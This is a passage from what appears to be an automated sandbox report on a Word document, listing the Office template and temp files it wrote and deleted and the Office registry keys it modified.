  1116. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB83E.tmp\\Savon.thmx",
  1117. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBAA7.tmp\\TabList.glox",
  1118. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB8AD.tmp\\Content.inf",
  1119. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB84F.tmp\\Content.inf",
  1120. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB8CE.tmp\\content.inf",
  1121. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBA65.tmp\\Content.inf",
  1122. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBAA7.tmp\\Content.inf",
  1123. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBA96.tmp\\Damask.thmx",
  1124. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851225fn=mlaseventheditionofficeonline.xsl",
  1125. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBA85.tmp\\Content.inf",
  1126. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBE1C.tmp\\content.inf",
  1127. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBA97.tmp\\Content.inf",
  1128. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBB56.tmp\\Content.inf",
  1129. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBC15.tmp\\Content.inf",
  1130. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBAA8.tmp\\Wood_Type.thmx",
  1131. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328951fn=Tabbed Arc.glox",
  1132. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328925fn=Interconnected Block Process.glox",
  1133. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851222fn=ieee2006officeonline.xsl",
  1134. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBBE5.tmp\\Content.inf",
  1135. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851217fn=chicago.xsl",
  1136. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328975fn=Theme Picture Accent.glox",
  1137. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM10001104fn=Feathered.thmx",
  1138. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851223fn=iso690.xsl",
  1139. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851219fn=gostname.xsl",
  1140. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851216fn=apasixtheditionofficeonline.xsl",
  1141. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328884fn=architecture.glox",
  1142. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBBB5.tmp\\content.inf",
  1143. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457510fn=Savon.thmx",
  1144. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328916fn=Converging Text.glox",
  1145. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBC74.tmp\\Content.inf",
  1146. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033921fn=Damask.thmx",
  1147. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457444fn=Basis.thmx",
  1148. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBC75.tmp\\Content.inf",
  1149. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328932fn=Picture Frame.glox",
  1150. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328905fn=Chevron Accent.glox",
  1151. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Building Blocks\\1033\\TM02835233fn=Text Sidebar (Annual Report Red and Black design).docx",
  1152. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328998fn=Rings.glox",
  1153. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC3FA.tmp\\turabian.xsl",
  1154. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBE1C.tmp\\Droplet.thmx",
  1155. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Building Blocks\\1033\\TM03998158fn=Element.dotx",
  1156. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033919fn=Circuit.thmx",
  1157. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03090434fn=Wood Type.thmx",
  1158. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328908fn=Circle Process.glox",
  1159. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033929fn=Slate.thmx",
  1160. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851224fn=iso690nmerical.xsl",
  1161. "C:\\Users\\user\\AppData\\Local\\Temp\\CabCC87.tmp",
  1162. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328990fn=Varying Width List.glox",
  1163. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC3FA.tmp\\Content.inf",
  1164. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851227fn=sist02.xsl",
  1165. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328972fn=Tab List.glox",
  1166. "C:\\Users\\user\\AppData\\Local\\Temp\\TarCC88.tmp",
  1167. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM04033925fn=Droplet.thmx",
  1168. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCC99.tmp\\content.inf",
  1169. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Bibliography Styles\\TM02851226fn=turabian.xsl",
  1170. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCC99.tmp\\Mesh.thmx",
  1171. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCEBC.tmp\\BracketList.glox",
  1172. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCEBC.tmp\\Content.inf",
  1173. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\TM03457485fn=Mesh.thmx",
  1174. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\SmartArt Graphics\\1033\\TM03328893fn=BracketList.glox",
  1175. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDD054.tmp\\Insight design set.dotx",
  1176. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDD054.tmp\\Content.inf",
  1177. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Word Document Building Blocks\\1033\\TM03998159fn=Insight.dotx",
  1178. "C:\\Users\\user\\AppData\\Local\\Temp\\~WRD0002.tmp",
  1179. "C:\\Users\\user\\AppData\\Local\\Temp\\~WRL0003.tmp"
  1180.  
  1181.  
  1182. * Deleted Files:
  1183. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab715A.tmp",
  1184. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar715B.tmp",
  1185. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Schemas\\MS Word_restart.xml",
  1186. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\STARTUP\\",
  1187. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\AutoRecovery save of Docs_b9c011303fce33699fc868354d5a8e61.asd",
  1188. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\~WRD0000.tmp",
  1189. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Word\\~WRL0001.tmp",
  1190. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM03457491fn=Metropolitan.eftx",
  1191. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM04033917fn=Berlin.eftx",
  1192. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM03457491fn=Metropolitan.xml",
  1193. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM04033937fn=Vapor Trail.eftx",
  1194. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM04033917fn=Berlin.xml",
  1195. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM03457491fn=Metropolitan.xml",
  1196. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM04033937fn=Vapor Trail.xml",
  1197. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM04033917fn=Berlin.xml",
  1198. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM04033937fn=Vapor Trail.xml",
  1199. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Effects\\TM04033927fn=Main Event.eftx",
  1200. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Fonts\\TM04033927fn=Main Event.xml",
  1201. "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\15\\Managed\\Document Themes\\1033\\Theme Colors\\TM04033927fn=Main Event.xml",
  1202. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9EC0.tmp",
  1203. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9E80.tmp",
  1204. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9EE1.tmp",
  1205. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA06A.tmp",
  1206. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA0A9.tmp",
  1207. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9FFB.tmp",
  1208. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA137.tmp",
  1209. "C:\\Users\\user\\AppData\\Local\\Temp\\Cab9D15.tmp",
  1210. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA264.tmp",
  1211. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA224.tmp",
  1212. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA341.tmp",
  1213. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA371.tmp",
  1214. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA372.tmp",
  1215. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA47E.tmp",
  1216. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA383.tmp",
  1217. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA4CD.tmp",
  1218. "C:\\Users\\user\\AppData\\Local\\Temp\\Tar9D84.tmp",
  1219. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA59E.tmp",
  1220. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA59D.tmp",
  1221. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA977.tmp",
  1222. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA06A.tmp\\pictureorgchart.glox",
  1223. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9EE1.tmp\\gb.xsl",
  1224. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDADE1.tmp",
  1225. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9EC0.tmp\\View.thmx",
  1226. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA341.tmp\\ThemePictureGrid.glox",
  1227. "C:\\Users\\user\\AppData\\Local\\Temp\\CabA54D.tmp",
  1228. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA0A9.tmp\\Dividend.thmx",
  1229. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA977.tmp\\gosttitle.xsl",
  1230. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9E80.tmp\\Frame.thmx",
  1231. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA4CD.tmp\\Crop.thmx",
  1232. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9342.tmp",
  1233. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA264.tmp\\ThemePictureAlternatingAccent.glox",
  1234. "C:\\Users\\user\\AppData\\Local\\Temp\\cab94AD.tmp",
  1235. "C:\\Users\\user\\AppData\\Local\\Temp\\TarA54E.tmp",
  1236. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA47E.tmp\\RadialPictureList.glox",
  1237. "C:\\Users\\user\\AppData\\Local\\Temp\\TCD9FFB.tmp\\harvardanglia2008officeonline.xsl",
  1238. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA224.tmp\\Banded.thmx",
  1239. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB3DF.tmp",
  1240. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA383.tmp\\Badge.thmx",
  1241. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA137.tmp\\Quotable.thmx",
  1242. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB576.tmp",
  1243. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB577.tmp",
  1244. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA371.tmp\\HexagonRadial.glox",
  1245. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB5C6.tmp",
  1246. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA372.tmp\\Equations.dotx",
  1247. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB5D8.tmp",
  1248. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA59E.tmp\\Parallax.thmx",
  1249. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB5C7.tmp",
  1250. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB5E8.tmp",
  1251. "C:\\Users\\user\\AppData\\Local\\Temp\\CabAC2A.tmp",
  1252. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB7ED.tmp",
  1253. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB7EF.tmp",
  1254. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9BBC.tmp",
  1255. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB7EE.tmp",
  1256. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB83E.tmp",
  1257. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB84F.tmp",
  1258. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB8AD.tmp",
  1259. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB8CE.tmp",
  1260. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA59D.tmp\\Headlines.thmx",
  1261. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9437.tmp",
  1262. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9AE0.tmp",
  1263. "C:\\Users\\user\\AppData\\Local\\Temp\\cab93D5.tmp",
  1264. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9A24.tmp",
  1265. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBA65.tmp",
  1266. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBA85.tmp",
  1267. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBA96.tmp",
  1268. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBA97.tmp",
  1269. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9E02.tmp",
  1270. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBB55.tmp",
  1271. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBAA8.tmp",
  1272. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBB56.tmp",
  1273. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBC15.tmp",
  1274. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBBB5.tmp",
  1275. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBC75.tmp",
  1276. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBBE5.tmp",
  1277. "C:\\Users\\user\\AppData\\Local\\Temp\\cab93D7.tmp",
  1278. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBC74.tmp",
  1279. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBAA7.tmp",
  1280. "C:\\Users\\user\\AppData\\Local\\Temp\\TarACB8.tmp",
  1281. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBE1C.tmp",
  1282. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9354.tmp",
  1283. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9659.tmp",
  1284. "C:\\Users\\user\\AppData\\Local\\Temp\\cab949B.tmp",
  1285. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9EC1.tmp",
  1286. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB3DF.tmp\\mlaseventheditionofficeonline.xsl",
  1287. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9D54.tmp",
  1288. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB5C7.tmp\\TabbedArc.glox",
  1289. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB576.tmp\\InterconnectedBlockProcess.glox",
  1290. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB577.tmp\\ieee2006officeonline.xsl",
  1291. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBB55.tmp\\chicago.xsl",
  1292. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB5C6.tmp\\ThemePictureAccent.glox",
  1293. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9488.tmp",
  1294. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB5D8.tmp\\Feathered.thmx",
  1295. "C:\\Users\\user\\AppData\\Local\\Temp\\cab949D.tmp",
  1296. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB5E8.tmp\\iso690.xsl",
  1297. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB7EF.tmp\\gostname.xsl",
  1298. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA195.tmp",
  1299. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB8AD.tmp\\APASixthEditionOfficeOnline.xsl",
  1300. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB7ED.tmp\\architecture.glox",
  1301. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB83E.tmp\\Savon.thmx",
  1302. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB7EE.tmp\\ConvergingText.glox",
  1303. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBA96.tmp\\Damask.thmx",
  1304. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB8CE.tmp\\Basis.thmx",
  1305. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBA65.tmp\\PictureFrame.glox",
  1306. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA1C5.tmp",
  1307. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC3FA.tmp",
  1308. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBA85.tmp\\chevronaccent.glox",
  1309. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBA97.tmp\\Text Sidebar (Annual Report Red and Black design).docx",
  1310. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB84F.tmp\\rings.glox",
  1311. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBC15.tmp\\Element design set.dotx",
  1312. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBBB5.tmp\\Circuit.thmx",
  1313. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBAA8.tmp\\Wood_Type.thmx",
  1314. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBB56.tmp\\CircleProcess.glox",
  1315. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDADE1.tmp\\Slate.thmx",
  1316. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBC74.tmp\\iso690nmerical.xsl",
  1317. "C:\\Users\\user\\AppData\\Local\\Temp\\cab949C.tmp",
  1318. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBBE5.tmp\\VaryingWidthList.glox",
  1319. "C:\\Users\\user\\AppData\\Local\\Temp\\cab92B2.tmp",
  1320. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9272.tmp",
  1321. "C:\\Users\\user\\AppData\\Local\\Temp\\cab948A.tmp",
  1322. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBC75.tmp\\sist02.xsl",
  1323. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBAA7.tmp\\TabList.glox",
  1324. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA9D6.tmp",
  1325. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9476.tmp",
  1326. "C:\\Users\\user\\AppData\\Local\\Temp\\cab92C2.tmp",
  1327. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9365.tmp",
  1328. "C:\\Users\\user\\AppData\\Local\\Temp\\cab93C4.tmp",
  1329. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9487.tmp",
  1330. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9489.tmp",
  1331. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA2F2.tmp",
  1332. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA51C.tmp",
  1333. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9271.tmp",
  1334. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9251.tmp",
  1335. "C:\\Users\\user\\AppData\\Local\\Temp\\cab99E4.tmp",
  1336. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9302.tmp",
  1337. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBE1C.tmp\\Droplet.thmx",
  1338. "C:\\Users\\user\\AppData\\Local\\Temp\\cab94CF.tmp",
  1339. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCC99.tmp",
  1340. "C:\\Users\\user\\AppData\\Local\\Temp\\cab93D6.tmp",
  1341. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC3FA.tmp\\turabian.xsl",
  1342. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA2D2.tmp",
  1343. "C:\\Users\\user\\AppData\\Local\\Temp\\cab94D0.tmp",
  1344. "C:\\Users\\user\\AppData\\Local\\Temp\\cab94AE.tmp",
  1345. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA9D7.tmp",
  1346. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA52D.tmp",
  1347. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9341.tmp",
  1348. "C:\\Users\\user\\AppData\\Local\\Temp\\cab94CE.tmp",
  1349. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9407.tmp",
  1350. "C:\\Users\\user\\AppData\\Local\\Temp\\cab94D1.tmp",
  1351. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCEBC.tmp",
  1352. "C:\\Users\\user\\AppData\\Local\\Temp\\CabCC87.tmp",
  1353. "C:\\Users\\user\\AppData\\Local\\Temp\\cabB13E.tmp",
  1354. "C:\\Users\\user\\AppData\\Local\\Temp\\TarCC88.tmp",
  1355. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9366.tmp",
  1356. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCC99.tmp\\Mesh.thmx",
  1357. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDCEBC.tmp\\BracketList.glox",
  1358. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBD60.tmp",
  1359. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDD054.tmp",
  1360. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9353.tmp",
  1361. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDD054.tmp\\Insight design set.dotx",
  1362. "C:\\Users\\user\\AppData\\Local\\Temp\\cabC215.tmp",
  1363. "C:\\Users\\user\\AppData\\Local\\Temp\\~WRL0003.tmp",
  1364. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRSC9847CE2-24DC-47FE-B4A8-F3CF0F17E5C1.tmp",
  1365. "C:\\Users\\user\\AppData\\Local\\Temp\\~$cs_b9c011303fce33699fc868354d5a8e61.doc"
  1366.  
  1367.  
  1368. * Modified Registry Keys:
  1369. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\pcv",
  1370. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache",
  1371. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\RemoteClearDate",
  1372. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1",
  1373. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\Last",
  1374. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0",
  1375. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\FilePath",
  1376. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\StartDate",
  1377. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\EndDate",
  1378. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\Properties",
  1379. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\AllUsers\\office15client.microsoft.com\\config15--lcid=1033&syslcid=1033&uilcid=1033&build=15.0.4569&crev=1\\0\\Url",
  1380. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Internet\\WebServiceCache\\LastClean",
  1381. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingConfigurableSettings",
  1382. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingLastSyncTime",
  1383. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingLastWriteTime",
  1384. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Security\\Trusted Documents\\LastPurgeTime",
  1385. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ReviewCycle",
  1386. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ReviewCycle\\ReviewToken",
